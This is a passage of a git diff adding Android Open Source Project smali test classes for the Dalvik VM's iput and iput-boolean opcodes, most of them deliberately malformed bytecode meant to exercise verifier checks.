+.super  Ljava/lang/Object;
+
+.field public  st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       const v0, 1    
+       iput v0, v3, Ldot/junit/opcodes/iput/d/T_iput_22;->st_z:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_23.smali
new file mode 100644
index 0000000..dc6e447
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_23.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_23.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_23;
+.super  Ljava/lang/Object;
+
+.field public  st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       const v0, 1    
+       iput v0, v3, Ldot/junit/opcodes/iput/d/T_iput_23;->st_c:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_24.smali
new file mode 100644
index 0000000..c8499d2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_24.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_24.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_24;
+.super  Ljava/lang/Object;
+
+.field public  st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       const v0, 1    
+       iput v0, v3, Ldot/junit/opcodes/iput/d/T_iput_24;->st_b:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_3.smali
new file mode 100644
index 0000000..0c3fc77
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_3.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_3.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_3;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1234
+       iput v0, v2, Ldot/junit/opcodes/iput/d/T_iput_3;->st_i1:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_30.smali
new file mode 100644
index 0000000..ac28294
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_30.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_30.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iput/d/T_iput_30;
+    const v1, 0
+    iput v1, v0, Ldot/junit/opcodes/iput/d/T_iput_30;->st_i1:I
+.end method
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_31.smali
new file mode 100644
index 0000000..de64af8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_31.smali

@@ -0,0 +1,31 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_31.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    const v1, 0
+    iput v1, v0, Ldot/junit/opcodes/iput/d/T_iput_31;->st_i1:I
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_4.smali
new file mode 100644
index 0000000..04fada5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_4.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_4;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iput v3, v2, Ldot/junit/opcodes/iput/d/T_iput_4;->st_i1:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_5.smali
new file mode 100644
index 0000000..99afedb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_5.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_5.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_5;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)V
+.registers 3
+
+       iput v2, v1, Ldot/junit/opcodes/iput/d/T_iput_5;->st_i1:I
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_7.smali
new file mode 100644
index 0000000..912bba0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_7.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_7.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_7;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       iput v1, v2, Ldot/junit/opcodes/iput/d/T_iput_7;->st_i1:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_8.smali
new file mode 100644
index 0000000..f638322
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_8.smali

@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_8.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+      new-instance v0, Ldot/junit/opcodes/iput/TestStubs;
+      invoke-direct {v0}, Ldot/junit/opcodes/iput/TestStubs;-><init>()V
+
+       const v1, 0
+       iput v1, v0, Ldot/junit/opcodes/iput/TestStubs;->TestStubField:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_9.smali
new file mode 100644
index 0000000..762d440
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_9.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_9.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       iput v1, v2, Ldot/junit/opcodes/iput/d/T_iput_9noclass;->st_i1:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_1.smali
new file mode 100644
index 0000000..ce80fd5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_1.smali

@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_1.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_1;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:Z
+.field protected  st_p1:Z
+.field private  st_pvt1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public  getPvtField()Z
+.registers 2
+
+       iget-boolean v0, v1, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_1;->st_pvt1:Z
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-boolean v1, v2, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_1;->st_i1:Z
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_10.smali
new file mode 100644
index 0000000..d6bb024
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_10.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_10.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-boolean v1, v2, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_10;->st_i1N:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_11.smali
new file mode 100644
index 0000000..8f1577e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_11.smali

@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_11.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iput_boolean/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_boolean/TestStubs;-><init>()V
+
+       const v1, 1
+       iput-boolean v1, v0, Ldot/junit/opcodes/iput_boolean/TestStubs;->TestStubFieldFinal:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_12.smali
new file mode 100644
index 0000000..e7551d2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_12.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_12.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_12;
+.super  Ljava/lang/Object;
+
+.field public  final st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-boolean v1, v2, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_12;->st_i1:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_13.smali
new file mode 100644
index 0000000..dd5c4c8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_13.smali

@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_13.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_13;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 0
+       const v1, 1
+       iput-boolean v1, v0, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_13;->st_i1:Z
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_14.smali
new file mode 100644
index 0000000..7bd8edd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_14.smali

@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_14.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_14;
+.super  Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_1;-><init>()V
+       return-void
+.end method
+
+.method public  getProtectedField()Z
+.registers 2
+
+       iget-boolean v0, v1, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_1;->st_p1:Z
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-boolean v1, v2, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_1;->st_p1:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_15.smali
new file mode 100644
index 0000000..6e40a4f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_15.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_15.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_15;
+.super  Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/16 v1, 1
+       iput-boolean v1, v2, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_1;->st_pvt1:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_17.smali
new file mode 100644
index 0000000..f41ed61
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_17.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_17.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_17;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-boolean v1, v2, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_17;->st_i1:Z
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_18.smali
new file mode 100644
index 0000000..69ce754
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_18.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_18.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_18;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-boolean v1, v2, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_18;->st_i1:D
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_2.smali
new file mode 100644
index 0000000..c54594f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_2.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_2.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_2;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       iput-boolean v0, v2, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_4;->st_i1:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_21.smali
new file mode 100644
index 0000000..33f1ed6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_21.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_21.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_21;
+.super  Ljava/lang/Object;
+
+.field public  st_s:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       const v0, 1    
+       iput-boolean v0, v3, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_21;->st_s:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_22.smali
new file mode 100644
index 0000000..a6f94cb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_22.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_22.java"
